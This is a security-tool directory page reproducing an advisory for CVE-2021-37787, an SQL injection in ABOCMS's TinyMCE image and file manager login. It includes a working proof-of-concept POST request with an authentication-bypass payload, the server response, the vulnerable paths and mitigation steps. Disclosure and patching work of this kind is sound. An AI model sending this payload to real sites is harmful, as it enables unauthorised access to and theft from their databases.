Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-37787 — CVE-2021-37787 | Kitploit
Tools/GitHubGitHub/vasykor/cve-2021-37787
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubvasykor/cve-2021-37787

CVE-2021-37787

CVE-2021-37787

View Repository
121 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-37787: SQL Injection in ABOCMS via TinyMCE Module

Vulnerability Details

  • CVE ID: CVE-2021-37787
  • Product: ABOCMS
  • Affected Version(s): 5.8.x, ≤5.9.3
  • Vulnerability Type: SQL Injection
  • CVSS Score: 9.8

Description

A critical SQL injection vulnerability exists in ABOCMS within the TinyMCE module. The vulnerability arises due to insufficient input sanitization in the TinyMCE module's interaction with the database, allowing an attacker to inject malicious SQL queries. This can lead to unauthorized data access, modification, or even full compromise of the underlying database.

The vulnerable endpoint is located in the TinyMCE module's processing of user-supplied input. An attacker can exploit this flaw to execute arbitrary SQL commands.

Impact

  • Aunthentication bypass.
  • Extraction of sensitive data.
  • Modification or deletion of database records.
  • Potential remote code execution, depending on the database configuration.

Proof of Concept (PoC)

POST Request

root@kitploit:~
POST /js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php HTTP/1.1
Host: <yourdomain.name>
Content-Type: application/x-www-form-urlencoded

return_url=%2Fjs%2Fadmin%2Ftiny_mce%2Fplugins%2Fimagemanager%2Findex.php%3Ftype%3Dim%26page%3Dindex.html&login=1%27+OR+%271%27%3D1+%23&password=1&submit_button=Login

Response

root@kitploit:~
HTTP/1.1 302 Found
Server: nginx-reuseport/1.21.1
Date: <date>
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Keep-Alive: timeout=30
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
A-Powered-By: ABO.CMS 5.9.3 (fe01ce2a7fbac8fafaed7c982a04e229)
location: /js/admin/tiny_mce/plugins/imagemanager/index.php?type=im&page=index.html

Vulnerable Endpoint

The vulnerability can be triggered via the following endpoint:

/js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php /js/admin/tiny_mce/plugins/filemanager/login_session_auth.php

Mitigation

  • For Users:

    • Upgrade to the latest version of ABOCMS.
    • Disable the TinyMCE module if it’s not essential.

  • For Developers:

    • Use prepared statements or parameterized queries to interact with the database.
    • Update the TinyMCE module to the latest secure version.
    • Implement proper input validation to filter out malicious payloads.

Disclaimer

This PoC is provided for educational and security research purposes only. Do not use this code to harm systems or networks without explicit permission from the owner. The author is not responsible for any misuse or damage caused by this PoC.

Download Tool